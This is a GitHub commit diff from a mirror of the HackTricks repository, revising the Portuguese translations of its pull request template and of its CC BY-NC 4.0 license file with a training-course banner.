mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f
This commit is contained in:
parent
8be81dd54d
commit
40ecb29ebb
241 changed files with 5324 additions and 4822 deletions
8
.github/pull_request_template.md
vendored
8
.github/pull_request_template.md
vendored
|
@ -1,4 +1,6 @@
|
||||||
## Atribuição
|
Você pode remover este conteúdo antes de enviar o PR:
|
||||||
Valorizamos o seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que está apenas fazendo upload de conteúdo que você possui ou tem permissão explícita do autor original para usar. Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
|
|
||||||
|
|
||||||
Obrigado por contribuir com o HackTricks!
|
## Atribuição
|
||||||
|
Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
|
||||||
|
|
||||||
|
Obrigado por contribuir para o HackTricks!
|
||||||
|
|
154
LICENSE.md
154
LICENSE.md
|
@ -1,20 +1,20 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Licença Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Direitos autorais © Carlos Polop 2021. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> por Carlos Polop está licenciado sob a <a href="https://creativecommons.org/licenses/by-nc/4.0/">Licença Internacional Creative Commons Atribuição-NãoComercial 4.0 (CC BY-NC 4.0)</a>.
|
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Licença Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Copyright © Carlos Polop 2021. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> por Carlos Polop é licenciado sob a <a href="https://creativecommons.org/licenses/by-nc/4.0/">Licença Creative Commons Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)</a>.
|
||||||
|
|
||||||
Licença: Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)<br>
|
Licença: Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)<br>
|
||||||
Licença Legível por Humanos: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
Licença Legível por Humanos: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||||
|
@ -25,173 +25,175 @@ Formatação: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/
|
||||||
|
|
||||||
# Atribuição-NãoComercial 4.0 Internacional
|
# Atribuição-NãoComercial 4.0 Internacional
|
||||||
|
|
||||||
A Creative Commons Corporation ("Creative Commons") não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas "como estão". A Creative Commons não oferece garantias em relação às suas licenças, a qualquer material licenciado sob seus termos e condições, ou a qualquer informação relacionada. A Creative Commons se isenta de toda responsabilidade por danos resultantes de seu uso na maior medida possível.
|
A Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons se isenta de toda responsabilidade por danos resultantes de seu uso na máxima extensão possível.
|
||||||
|
|
||||||
## Usando Licenças Públicas da Creative Commons
|
## Usando Licenças Públicas da Creative Commons
|
||||||
|
|
||||||
As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que os criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As considerações a seguir são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças.
|
As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As seguintes considerações são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças.
|
||||||
|
|
||||||
* __Considerações para licenciadores:__ Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar permissão pública para usar material de maneiras de outra forma restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolherem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
* __Considerações para licenciadores:__ Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||||
|
|
||||||
* __Considerações para o público:__ Ao usar uma de nossas licenças públicas, um licenciador concede permissão pública para usar o material licenciado sob termos e condições específicos. Se a permissão do licenciador não for necessária por qualquer motivo - por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral - então esse uso não é regulamentado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é encorajado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
* __Considerações para o público:__ Ao usar uma de nossas licenças públicas, um licenciador concede ao público permissão para usar o material licenciado sob termos e condições especificados. Se a permissão do licenciador não for necessária por qualquer motivo – por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral – então esse uso não é regulado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é incentivado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||||
|
|
||||||
# Licença Pública Internacional Creative Commons Atribuição-NãoComercial 4.0
|
# Licença Pública de Atribuição-NãoComercial 4.0 Internacional da Creative Commons
|
||||||
|
|
||||||
Ao exercer os Direitos Licenciados (definidos abaixo), Você aceita e concorda em ficar vinculado pelos termos e condições desta Licença Pública Internacional Creative Commons Atribuição-NãoComercial 4.0 ("Licença Pública"). Na medida em que esta Licença Pública possa ser interpretada como um contrato, Você recebe os Direitos Licenciados em consideração à sua aceitação destes termos e condições, e o Licenciante concede a Você tais direitos em consideração aos benefícios que o Licenciante recebe ao disponibilizar o Material Licenciado sob estes termos e condições.
|
Ao exercer os Direitos Licenciados (definidos abaixo), Você aceita e concorda em estar vinculado pelos termos e condições desta Licença Pública de Atribuição-NãoComercial 4.0 Internacional ("Licença Pública"). Na medida em que esta Licença Pública possa ser interpretada como um contrato, Você recebe os Direitos Licenciados em consideração à sua aceitação destes termos e condições, e o Licenciante concede a Você tais direitos em consideração aos benefícios que o Licenciante recebe ao disponibilizar o Material Licenciado sob estes termos e condições.
|
||||||
|
|
||||||
## Seção 1 - Definições.
|
## Seção 1 – Definições.
|
||||||
|
|
||||||
a. __Material Adaptado__ significa material sujeito a Direitos Autorais e Direitos Semelhantes que é derivado ou baseado no Material Licenciado e no qual o Material Licenciado é traduzido, alterado, organizado, transformado ou de outra forma modificado de maneira que exija permissão nos Direitos Autorais e Direitos Semelhantes detidos pelo Licenciante. Para fins desta Licença Pública, quando o Material Licenciado é uma obra musical, performance ou gravação sonora, o Material Adaptado é sempre produzido quando o Material Licenciado é sincronizado em relação temporal com uma imagem em movimento.
|
a. __Material Adaptado__ significa material sujeito a Direitos Autorais e Direitos Similares que é derivado ou baseado no Material Licenciado e no qual o Material Licenciado é traduzido, alterado, arranjado, transformado ou de outra forma modificado de uma maneira que requer permissão sob os Direitos Autorais e Direitos Similares detidos pelo Licenciante. Para fins desta Licença Pública, onde o Material Licenciado é uma obra musical, performance ou gravação sonora, o Material Adaptado é sempre produzido onde o Material Licenciado é sincronizado em relação temporal com uma imagem em movimento.
|
||||||
|
|
||||||
b. __Licença do Adaptador__ significa a licença que Você aplica aos Seus Direitos Autorais e Direitos Semelhantes em Suas contribuições ao Material Adaptado de acordo com os termos e condições desta Licença Pública.
|
b. __Licença do Adaptador__ significa a licença que Você aplica aos seus Direitos Autorais e Direitos Similares em suas contribuições para Material Adaptado de acordo com os termos e condições desta Licença Pública.
|
||||||
|
|
||||||
c. __Direitos Autorais e Direitos Semelhantes__ significa direitos autorais e/ou direitos semelhantes intimamente relacionados aos direitos autorais, incluindo, sem limitação, performance, transmissão, gravação sonora e Direitos de Banco de Dados Sui Generis, independentemente de como os direitos são rotulados ou categorizados. Para fins desta Licença Pública, os direitos especificados na Seção 2(b)(1)-(2) não são Direitos Autorais e Direitos Semelhantes.
|
c. __Direitos Autorais e Direitos Similares__ significam direitos autorais e/ou direitos similares intimamente relacionados a direitos autorais, incluindo, sem limitação, performance, transmissão, gravação sonora e Direitos de Banco de Dados Sui Generis, sem considerar como os direitos são rotulados ou categorizados. Para fins desta Licença Pública, os direitos especificados na Seção 2(b)(1)-(2) não são Direitos Autorais e Direitos Similares.
|
||||||
|
|
||||||
d. __Medidas Tecnológicas Eficazes__ significa aquelas medidas que, na ausência de autoridade adequada, não podem ser contornadas sob leis que cumprem obrigações nos termos do Artigo 11 do Tratado de Direito de Autor da OMPI adotado em 20 de dezembro de 1996 e/ou acordos internacionais semelhantes.
|
d. __Medidas Tecnológicas Eficazes__ significam aquelas medidas que, na ausência de autoridade adequada, não podem ser contornadas sob leis que cumpram obrigações sob o Artigo 11 do Tratado de Direitos Autorais da OMPI adotado em 20 de dezembro de 1996, e/ou acordos internacionais similares.
|
||||||
|
|
||||||
e. __Exceções e Limitações__ significa uso justo, uso permitido e/ou qualquer outra exceção ou limitação aos Direitos Autorais e Direitos Semelhantes que se aplique ao seu uso do Material Licenciado.
|
e. __Exceções e Limitações__ significam uso justo, negociação justa e/ou qualquer outra exceção ou limitação aos Direitos Autorais e Direitos Similares que se aplicam ao seu uso do Material Licenciado.
|
||||||
|
|
||||||
f. __Material Licenciado__ significa a obra artística ou literária, banco de dados ou outro material ao qual o Licenciante aplicou esta Licença Pública.
|
f. __Material Licenciado__ significa a obra artística ou literária, banco de dados ou outro material ao qual o Licenciante aplicou esta Licença Pública.
|
||||||
|
|
||||||
g. __Direitos Licenciados__ significa os direitos concedidos a Você sujeitos aos termos e condições desta Licença Pública, que são limitados a todos os Direitos Autorais e Direitos Semelhantes que se aplicam ao seu uso do Material Licenciado e que o Licenciante tem autoridade para licenciar.
|
g. __Direitos Licenciados__ significam os direitos concedidos a Você sujeitos aos termos e condições desta Licença Pública, que são limitados a todos os Direitos Autorais e Direitos Similares que se aplicam ao seu uso do Material Licenciado e que o Licenciante tem autoridade para licenciar.
|
||||||
|
|
||||||
h. __Licenciante__ significa o(s) indivíduo(s) ou entidade(s) concedendo direitos sob esta Licença Pública.
|
h. __Licenciante__ significa o(s) indivíduo(s) ou entidade(s) que concedem direitos sob esta Licença Pública.
|
||||||
|
|
||||||
i. __NãoComercial__ significa não principalmente destinado a ou direcionado para vantagem comercial ou compensação monetária. Para fins desta Licença Pública, a troca do Material Licenciado por outro material sujeito a Direitos Autorais e Direitos Semelhantes por compartilhamento de arquivos digitais ou meios semelhantes é NãoComercial, desde que não haja pagamento de compensação monetária em conexão com a troca.
|
i. __NãoComercial__ significa não destinado principalmente a ou direcionado para vantagem comercial ou compensação monetária. Para fins desta Licença Pública, a troca do Material Licenciado por outro material sujeito a Direitos Autorais e Direitos Similares por meio de compartilhamento de arquivos digitais ou meios similares é NãoComercial, desde que não haja pagamento de compensação monetária em conexão com a troca.
|
||||||
|
|
||||||
j. __Compartilhar__ significa fornecer material ao público por qualquer meio ou processo que exija permissão nos Direitos Licenciados, como reprodução, exibição pública, execução pública, distribuição, disseminação, comunicação ou importação, e disponibilizar material ao público, incluindo de maneiras que os membros do público possam acessar o material de um local e em um momento escolhidos individualmente por eles.
|
j. __Compartilhar__ significa fornecer material ao público por qualquer meio ou processo que requer permissão sob os Direitos Licenciados, como reprodução, exibição pública, performance pública, distribuição, disseminação, comunicação ou importação, e tornar o material disponível ao público, incluindo de maneiras que os membros do público possam acessar o material de um lugar e em um momento individualmente escolhido por eles.
|
||||||
|
|
||||||
k. __Direitos de Banco de Dados Sui Generis__ significa direitos que não sejam direitos autorais resultantes da Diretiva 96/9/CE do Parlamento Europeu e do Conselho de 11 de março de 1996 sobre a proteção jurídica de bancos de dados, conforme alterada e/ou sucedida, bem como outros direitos essencialmente equivalentes em qualquer lugar do mundo.
|
k. __Direitos de Banco de Dados Sui Generis__ significam direitos além dos direitos autorais resultantes da Diretiva 96/9/CE do Parlamento Europeu e do Conselho de 11 de março de 1996 sobre a proteção legal de bancos de dados, conforme alterada e/ou sucedida, bem como outros direitos essencialmente equivalentes em qualquer lugar do mundo.
|
||||||
|
|
||||||
l. __Você__ significa o indivíduo ou entidade que exerce os Direitos Licenciados sob esta Licença Pública. Seu tem um significado correspondente.
|
l. __Você__ significa o indivíduo ou entidade que exerce os Direitos Licenciados sob esta Licença Pública. Seu tem um significado correspondente.
|
||||||
## Seção 2 - Escopo.
|
|
||||||
|
## Seção 2 – Escopo.
|
||||||
|
|
||||||
a. ___Concessão de licença.___
|
a. ___Concessão de licença.___
|
||||||
|
|
||||||
1. Sujeito aos termos e condições desta Licença Pública, o Licenciante concede a Você uma licença mundial, livre de royalties, não sublicenciável, não exclusiva e irrevogável para exercer os Direitos Licenciados no Material Licenciado para:
|
1. Sujeito aos termos e condições desta Licença Pública, o Licenciante concede a Você uma licença mundial, isenta de royalties, não sublicenciável, não exclusiva e irrevogável para exercer os Direitos Licenciados no Material Licenciado para:
|
||||||
|
|
||||||
A. reproduzir e Compartilhar o Material Licenciado, na íntegra ou em parte, apenas para fins NãoComerciais; e
|
A. reproduzir e Compartilhar o Material Licenciado, total ou parcialmente, apenas para fins NãoComerciais; e
|
||||||
|
|
||||||
B. produzir, reproduzir e Compartilhar Material Adaptado apenas para fins NãoComerciais.
|
B. produzir, reproduzir e Compartilhar Material Adaptado apenas para fins NãoComerciais.
|
||||||
|
|
||||||
2. __Exceções e Limitações.__ Para evitar dúvidas, quando Exceções e Limitações se aplicam ao seu uso, esta Licença Pública não se aplica, e Você não precisa cumprir com seus termos e condições.
|
2. __Exceções e Limitações.__ Para evitar dúvidas, onde Exceções e Limitações se aplicam ao seu uso, esta Licença Pública não se aplica, e Você não precisa cumprir seus termos e condições.
|
||||||
|
|
||||||
3. __Prazo.__ O prazo desta Licença Pública é especificado na Seção 6(a).
|
3. __Prazo.__ O prazo desta Licença Pública é especificado na Seção 6(a).
|
||||||
|
|
||||||
4. __Mídias e formatos; modificações técnicas permitidas.__ O Licenciante autoriza Você a exercer os Direitos Licenciados em todas as mídias e formatos, quer agora conhecidos ou criados no futuro, e a fazer modificações técnicas necessárias para isso. O Licenciante renuncia e/ou concorda em não afirmar qualquer direito ou autoridade para proibi-lo de fazer modificações técnicas necessárias para exercer os Direitos Licenciados, incluindo modificações técnicas necessárias para contornar Medidas Tecnológicas Eficazes. Para fins desta Licença Pública, simplesmente fazer modificações autorizadas por esta Seção 2(a)(4) nunca produz Material Adaptado.
|
4. __Mídia e formatos; modificações técnicas permitidas.__ O Licenciante autoriza Você a exercer os Direitos Licenciados em todos os meios e formatos, sejam agora conhecidos ou criados posteriormente, e a fazer modificações técnicas necessárias para fazê-lo. O Licenciante renuncia e/ou concorda em não afirmar qualquer direito ou autoridade para proibir Você de fazer modificações técnicas necessárias para exercer os Direitos Licenciados, incluindo modificações técnicas necessárias para contornar Medidas Tecnológicas Eficazes. Para fins desta Licença Pública, simplesmente fazer modificações autorizadas por esta Seção 2(a)(4) nunca produz Material Adaptado.
|
||||||
|
|
||||||
5. __Destinatários posteriores.__
|
5. __Recipientes a jusante.__
|
||||||
|
|
||||||
A. __Oferta do Licenciante - Material Licenciado.__ Todo destinatário do Material Licenciado recebe automaticamente uma oferta do Licenciante para exercer os Direitos Licenciados sob os termos e condições desta Licença Pública.
|
A. __Oferta do Licenciante – Material Licenciado.__ Cada recipiente do Material Licenciado recebe automaticamente uma oferta do Licenciante para exercer os Direitos Licenciados sob os termos e condições desta Licença Pública.
|
||||||
|
|
||||||
B. __Sem restrições aos destinatários posteriores.__ Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao Material Licenciado, se isso restringir o exercício dos Direitos Licenciados por qualquer destinatário do Material Licenciado.
|
B. __Sem restrições a jusante.__ Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes sobre, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao, Material Licenciado se isso restringir o exercício dos Direitos Licenciados por qualquer recipiente do Material Licenciado.
|
||||||
|
|
||||||
6. __Sem endosso.__ Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que Você está, ou que seu uso do Material Licenciado está, conectado, ou patrocinado, endossado ou concedido status oficial por, o Licenciante ou outros designados para receber atribuição conforme fornecido na Seção 3(a)(1)(A)(i).
|
6. __Nenhum endosse.__ Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que Você é, ou que seu uso do Material Licenciado é, conectado a, ou patrocinado, endossado ou concedido status oficial pelo, Licenciante ou outros designados para receber atribuição conforme previsto na Seção 3(a)(1)(A)(i).
|
||||||
|
|
||||||
b. ___Outros direitos.___
|
b. ___Outros direitos.___
|
||||||
|
|
||||||
1. Direitos morais, como o direito de integridade, não são licenciados sob esta Licença Pública, nem são os direitos de publicidade, privacidade e/ou outros direitos de personalidade semelhantes; no entanto, na medida do possível, o Licenciante renuncia e/ou concorda em não afirmar quaisquer direitos desse tipo detidos pelo Licenciante na medida limitada necessária para permitir que Você exerça os Direitos Licenciados, mas não de outra forma.
|
1. Direitos morais, como o direito de integridade, não são licenciados sob esta Licença Pública, nem são direitos de publicidade, privacidade e/ou outros direitos de personalidade similares; no entanto, na medida do possível, o Licenciante renuncia e/ou concorda em não afirmar quaisquer desses direitos detidos pelo Licenciante na medida limitada necessária para permitir que Você exerça os Direitos Licenciados, mas não de outra forma.
|
||||||
|
|
||||||
2. Direitos de patente e marca não são licenciados sob esta Licença Pública.
|
2. Direitos de patente e marca registrada não são licenciados sob esta Licença Pública.
|
||||||
|
|
||||||
3. Na medida do possível, o Licenciante renuncia a qualquer direito de cobrar royalties de Você pelo exercício dos Direitos Licenciados, seja diretamente ou por meio de uma sociedade de arrecadação sob qualquer esquema de licenciamento voluntário ou compulsório renunciável. Em todos os outros casos, o Licenciante reserva expressamente qualquer direito de cobrar tais royalties, incluindo quando o Material Licenciado é usado para fins que não sejam NãoComerciais.
|
3. Na medida do possível, o Licenciante renuncia a qualquer direito de coletar royalties de Você pelo exercício dos Direitos Licenciados, seja diretamente ou através de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável. Em todos os outros casos, o Licenciante reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins NãoComerciais.
|
||||||
|
|
||||||
## Seção 3 - Condições da Licença.
|
## Seção 3 – Condições da Licença.
|
||||||
|
|
||||||
Seu exercício dos Direitos Licenciados está expressamente sujeito às seguintes condições.
|
Seu exercício dos Direitos Licenciados é expressamente sujeito às seguintes condições.
|
||||||
|
|
||||||
a. ___Atribuição.___
|
a. ___Atribuição.___
|
||||||
|
|
||||||
1. Se Você Compartilhar o Material Licenciado (incluindo em forma modificada), Você deve:
|
1. Se Você Compartilhar o Material Licenciado (incluindo em forma modificada), Você deve:
|
||||||
|
|
||||||
A. manter o seguinte se for fornecido pelo Licenciante com o Material Licenciado:
|
A. reter o seguinte se for fornecido pelo Licenciante com o Material Licenciado:
|
||||||
|
|
||||||
i. identificação do(s) criador(es) do Material Licenciado e de outros designados para receber atribuição, de qualquer maneira razoável solicitada pelo Licenciante (incluindo por pseudônimo, se designado);
|
i. identificação do(s) criador(es) do Material Licenciado e quaisquer outros designados para receber atribuição, de qualquer maneira razoável solicitada pelo Licenciante (incluindo por pseudônimo se designado);
|
||||||
|
|
||||||
ii. um aviso de direitos autorais;
|
ii. um aviso de copyright;
|
||||||
|
|
||||||
iii. um aviso que se refira a esta Licença Pública;
|
iii. um aviso que se refere a esta Licença Pública;
|
||||||
|
|
||||||
iv. um aviso que se refira à exclusão de garantias;
|
iv. um aviso que se refere à isenção de garantias;
|
||||||
|
|
||||||
v. um URI ou hiperlink para o Material Licenciado na medida do razoavelmente praticável;
|
v. um URI ou hyperlink para o Material Licenciado na medida razoavelmente prática;
|
||||||
|
|
||||||
B. indicar se Você modificou o Material Licenciado e manter uma indicação de quaisquer modificações anteriores; e
|
B. indicar se Você modificou o Material Licenciado e reter uma indicação de quaisquer modificações anteriores; e
|
||||||
|
|
||||||
C. indicar que o Material Licenciado é licenciado sob esta Licença Pública e incluir o texto, ou o URI ou hiperlink para, esta Licença Pública.
|
C. indicar que o Material Licenciado é licenciado sob esta Licença Pública, e incluir o texto de, ou o URI ou hyperlink para, esta Licença Pública.
|
||||||
|
|
||||||
2. Você pode satisfazer as condições na Seção 3(a)(1) de qualquer maneira razoável com base no meio, nos meios e no contexto em que Você Compartilha o Material Licenciado. Por exemplo, pode ser razoável satisfazer as condições fornecendo um URI ou hiperlink para um recurso que inclua as informações necessárias.
|
2. Você pode satisfazer as condições na Seção 3(a)(1) de qualquer maneira razoável com base no meio, meios e contexto em que Você Compartilha o Material Licenciado. Por exemplo, pode ser razoável satisfazer as condições fornecendo um URI ou hyperlink para um recurso que inclua as informações exigidas.
|
||||||
|
|
||||||
3. Se solicitado pelo Licenciante, Você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida do razoavelmente praticável.
|
3. Se solicitado pelo Licenciante, Você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida razoavelmente prática.
|
||||||
|
|
||||||
4. Se Você Compartilhar Material Adaptado que você produz, a Licença do Adaptador que Você aplica não deve impedir que os destinatários do Material Adaptado cumpram com esta Licença Pública.
|
4. Se Você Compartilhar Material Adaptado que produzir, a Licença do Adaptador que Você aplicar não deve impedir os recipientes do Material Adaptado de cumprir esta Licença Pública.
|
||||||
|
|
||||||
## Seção 4 - Direitos de Banco de Dados Sui Generis.
|
## Seção 4 – Direitos de Banco de Dados Sui Generis.
|
||||||
|
|
||||||
Se os Direitos Licenciados incluírem Direitos de Banco de Dados Sui Generis que se apliquem ao seu uso do Material Licenciado:
|
Onde os Direitos Licenciados incluem Direitos de Banco de Dados Sui Generis que se aplicam ao seu uso do Material Licenciado:
|
||||||
|
|
||||||
a. para evitar dúvidas, a Seção 2(a)(1) concede a Você o direito de extrair, reutilizar, reproduzir e Compartilhar todo ou uma parte substancial do conteúdo do banco de dados apenas para fins NãoComerciais;
|
a. para evitar dúvidas, a Seção 2(a)(1) concede a Você o direito de extrair, reutilizar, reproduzir e Compartilhar todo ou uma parte substancial do conteúdo do banco de dados apenas para fins NãoComerciais;
|
||||||
|
|
||||||
b. se Você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis, então o banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis (mas não seu conteúdo individual) é Material Adaptado; e
|
b. se Você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual Você tenha Direitos de Banco de Dados Sui Generis, então o banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis (mas não seus conteúdos individuais) é Material Adaptado; e
|
||||||
|
|
||||||
c. Você deve cumprir as condições na Seção 3(a) se Você Compartilhar todo ou uma parte substancial do conteúdo do banco de dados.
|
c. Você deve cumprir as condições na Seção 3(a) se Você Compartilhar todo ou uma parte substancial do conteúdo do banco de dados.
|
||||||
|
|
||||||
Para evitar dúvidas, esta Seção 4 complementa e não substitui suas obrigações sob esta Licença Pública onde os Direitos Licenciados incluem outros Direitos Autorais e Direitos Semelhantes.
|
Para evitar dúvidas, esta Seção 4 complementa e não substitui suas obrigações sob esta Licença Pública onde os Direitos Licenciados incluem outros Direitos Autorais e Direitos Similares.
|
||||||
|
|
||||||
## Seção 5 - Isenção de Garantias e Limitação de Responsabilidade.
|
## Seção 5 – Isenção de Garantias e Limitação de Responsabilidade.
|
||||||
|
|
||||||
a. __A menos que seja separadamente assumido pelo Licenciante, na medida do possível, o Licenciante oferece o Material Licenciado como está e conforme disponível, e não faz representações ou garantias de qualquer tipo sobre o Material Licenciado, seja expressa, implícita, estatutária ou outra. Isso inclui, sem limitação, garantias de título, comercialização, adequação a uma finalidade específica, não violação, ausência de defeitos latentes ou outros, precisão, ou a presença ou ausência de erros, quer conhecidos ou descobertos. Quando as exclusões de garantias não são permitidas na íntegra ou em parte, esta isenção pode não se aplicar a Você.__
|
a. __Salvo disposição em contrário separadamente assumida pelo Licenciante, na medida do possível, o Licenciante oferece o Material Licenciado como está e disponível, e não faz representações ou garantias de qualquer tipo sobre o Material Licenciado, sejam expressas, implícitas, estatutárias ou outras. Isso inclui, sem limitação, garantias de título, comercialização, adequação a um propósito específico, não violação, ausência de defeitos latentes ou outros, precisão, ou a presença ou ausência de erros, conhecidos ou descobertos. Onde isenções de garantias não são permitidas total ou parcialmente, esta isenção pode não se aplicar a Você.__
|
||||||
|
|
||||||
